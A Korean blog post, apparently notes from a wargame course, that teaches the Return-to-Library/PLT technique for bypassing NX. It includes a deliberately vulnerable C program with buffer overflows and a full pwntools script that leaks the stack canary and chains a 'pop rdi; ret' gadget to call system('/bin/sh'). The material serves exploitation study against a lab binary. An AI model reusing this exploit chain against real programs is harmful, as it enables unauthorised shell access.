일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 생활코딩
- 파이썬
- 백준
- PHP 웹페이지 만들기
- BOJ
- 숙명여자대학교 정보보안동아리
- 드림핵
- lob
- WarGame
- c
- HTML
- Python
- The Loard of BOF
- XSS Game
- hackctf
- 자료구조 복습
- 머신러닝
- BOJ Python
- CSS
- siss
- Sookmyung Information Security Study
- 숙명여자대학교 정보보안 동아리
- C언어
- SWEA
- 풀이
- 웹페이지 만들기
- hackerrank
- Javascript
- 기계학습
- c++
- Today
- Total
혜랑's STORY
[System Hacking STAGE 6] Exploit Tech: Return to Library 본문
[System Hacking STAGE 6] Exploit Tech: Return to Library
hyerang0125 2022. 2. 6. 13:37시작하며
지금까지 배운 공격 기법과 보호 기법을 순서대로 정리하면 다음과 같다.
- Return Address Overwrite : 반환 주소를 악성 함수의 주소로 덮어서 셸 획득
- Stack Canary : 스택 프레임의 반환 주소 전에 랜덤한 카나리를 주입하여 반환 주소를 덮기 어렵게 함
- Return to Shellcode : 카나리를 우회하고, 셸 코드를 주입한 버퍼의 주소로 반환 주소를 덮어서 셸 획득
- ASLR : 임의 버퍼의 주소를 알기 어렵게 함
- NX : 각 세그먼트에 불필요한 실행권한을 제거함으로써 공격자가 임의의 버퍼에 주입한 코드를 실행하기 어렵게함
이번에는 NX를 우회하는 공격 기법으로 알려진 Return To Library(RTL)에 대하여 알아볼 것이다.
Return To Library
- NX로 인해 공격자가 버퍼에 주입한 셸 코드를 실행하기는 어려워졌지만, 실행 권한이 남아있는 코드 영역으로 반환 주소를 덮는 공격 기법
프로세스에 실행 권한이 있는 메모리 영역은 일반적으로 바이너리의 코드 영역과 바이너리가 참조하는 라이브러리의 코드 영역이다. 이 중, 다양한 함수가 구현된 라이브러리에는 공격에 유용한 함수들이 구현되어 있고 공격자들은 libc의 함수들로 NX를 우회하고 셸을 획득하는 기법인 Return To Library(RTL)을 개발하였다. 유사 공격 기법으로는 Return To PLT가 있다.
아래 예제를 활용하여 자세히 알아보자.
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
분석
1. 보호기법 확인
먼저 코드를 컴파일하고 checksec으로 보호 기법을 파악해보자.
카나리가 존재하고, NX가 적용되어 있다. 실습 환경 및 최신 리눅스 커널에서 ASLR은 기본으로 적용되어 있으므로, 특별히 언급하지 않는다면 ASLR은 적용된 것이다.
2. 코드 분석
"/bin/sh"를 코드 섹션에 추가
const char* binsh = "/bin/sh";
ASLR이 적용돼도 PIE가 적용되지 않으면 코드 세그먼트와 데이터 세그먼트의 주소는 고정된다. 따라서 "/bin/sh"의 주소는 고정되어 있다.
system 함수를 PLT에 추가
// Add system function to plt's entry
system("echo 'system@plt");
위 코드는 PLT에 system을 추가하기 위해 작성된 코드이다. PLT에는 함수의 주소가 resolve되지 않았을 때, 함수의 주소를 구하고 실행하는 코드가 적혀있다. 따라서 PLT에 어떤 라이브러리 함수가 등록되어 있다면, 그 함수의 PLT 엔트리를 실행함으로써 함수를 실행할 수 있다.
ASLR이 걸려있어도 PIE가 적용되지 않있다면 PLT의 주소는 고정되므로, 무작위의 주소에 매핑되는 라이브러리의 베이스 주소를 몰라도 이 방법으로 라이브러리 함수를 실행할 수 있다. 이 공격 기법을 Return To PLT라고 부른다.
라이브러리의 베이스 주소를 구하여 ASLR을 우회하는 기법은 다음에 다루고, 이번에는 PLT를 이용하여 NX를 우회하도록 해보자.
ELF의 PLT에는 ELF가 실행하는 라이브러리 함수만 포함된다. 따라서 다음 코드를 작성하면 PLT에 system 함수를 추가할 수 있다.
버퍼 오버플로우
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
두 번의 오버플로우로 스택 카나리를 우회하고, 반환 주소를 덮을 수 있도록 작성된 코드이다.
익스플로잇 설계
1. 카나리 우회
Exploit Tech: Return To Shellcode 에서와 마찬가지로, 첫 번째 입력에서 적절한 길이의 데이터를 입력하여 카나리를 구할 수 있다.
2. rdi 값을 "/bin/sh"의 주소로 설정 및 셸 획득
카나리를 구했다면 두 번째 입력으로 반환 주소를 덮을 수 있다. 그러나 NX로 인해 buf에 셸 코드를 주입하고 이를 실행할 수는 없다.
공격을 위해 알고있는 정보를 정리해보면 다음과 같다.
- "/bin/sh"의 주소를 안다.
- system 함수의 PLT 주소를 안다. ==> system 함수를 호출할 수 있다.
system("/bin/sh/")를 호출하면 셸을 획득할 수 있는데 x86-64의 호출 규약에 따르면 이는 rdi="/bin/sh" 주소인 상태에서 system 함수를 호출한 것과 같다.
따라서 "/bin/sh"의 주소를 rdi의 값으로 설정할 수 있다면 system("/bin/sh")를 실행할 수 있고 이를 위해서는 리턴 가젯을 활용해야 한다.
리턴 가젯(Return gadget)
- 아래와 같이 ret로 끝나는 어셈블리 코드 조각
0x0000000000400853 : pop rdi ; ret
NX로 인해 셸 코드를 실행할 수 없는 상황에서, 단 한 번의 함수 실행으로 셸을 획득하는 것은 일반적으로 불가능하다.
리턴 가젯은 반환 주소를 덮는 공격의 유연성을 높여서 익스플로잇에 필요한 조건을 만족할 수 있도록 돕는다. 예를 들어 이 예제에서는 rdi의 값을 "/bin/sh"의 주소로 설정하고, system 함수를 호출해야 한다.
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
리턴 가젯을 사용하여 반환 주소와 이후의 버퍼를 다음과 같이 덮으면, pop rdi로 rdi를 "/bin/sh"의 주소로 설정하고, 이어니는 ret로 system 함수를 호출할 수 있다.
익스플로잇
카나리 우회
from pwn import *
p = process("./rtl")
e = ELF("./rtl")
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
print('[+] canary: ' + hex(cnry))
실행 결과
리턴 가젯 찾기
리턴 가젯을 찾는 방법은 다양하지만, 일반적으로 ROPgadget을 사용한다.
설치
$ python3 -m pip install ROPgadget --user
다음 명령어로 필요한 가젯을 찾을 수 있다. --re 옵션을 사용하면 정규표현식으로 가젯을 필터링할 수 있다.
왼편에 16진수로 적힌 주소가 가젯의 주소이다.
익스플로잇
앞서 설명했듯 다음과 같이 가젯을 구성하고, 실행하면 system("/bin/sh")를 실행할 수 있다.
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
"bin/sh"의 주소는 pwndbg로 찾을 수 있다.
system 함수의 PLT 주소는 pwndbg 또는 pwntools의 APL로 찾을 수 있다.
가젯으로 구성된 페이로드를 작성하고, 이 페이로드로 반환 주소를 덮으면 셸을 획득할 수 있다. 한 가지 주의할 점은, system 함수로 rip가 이동할 때, 스택은 반드시 0x10 단위로 정렬되어 있어야 한다는 것이다. 이는 system 함수 내부에 있는 movaps 명령어 때문인데, 이 명령어는 스택이 0x10 단위로 정렬되어 있지 않으면 Segmentation Fault를 발생시킨다.
system 함수를 이용한 익스플로잇을 작성할 때, 익스플로잇이 제대로 작성된 것 같은데도 Segmentation Fault가 발생한다면, system 함수의 가젯을 8 바이트 뒤로 미뤄보는 것이 좋다. 이를 위해서 아무 의미 없는 가젯(no-op gadget)을 system 함수 전에 추가할 수 있다.
전체 익스플로잇 코드
from pwn import *
p = process("./rtl")
e = ELF("./rtl")
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
print('[+] canary: ' + hex(cnry))
# [2] Exploit
system_plt = e.plt["system"]
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
payload += p64(ret) # align stack to prevent errors caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
pause()
p.sendafter("Buf: ", payload)
p.interactive()
실행 결과
'무지성 공부방 > Dreamhack SystemHacking' 카테고리의 다른 글
[System Hacking STAGE 6] basic_rop_x64 (0) | 2022.02.06 |
---|---|
[System Hacking STAGE 6] Exploit Tech: Return Oriented Programming (0) | 2022.02.06 |
[System Hacking STAGE 6] Background: Library - Static Link vs. Dynamic Link (0) | 2022.02.03 |
[System Hacking STAGE 6] Mitigation: NX & ASLR (0) | 2022.02.03 |
[System Hacking STAGE 5] ssp_001 (0) | 2022.01.30 |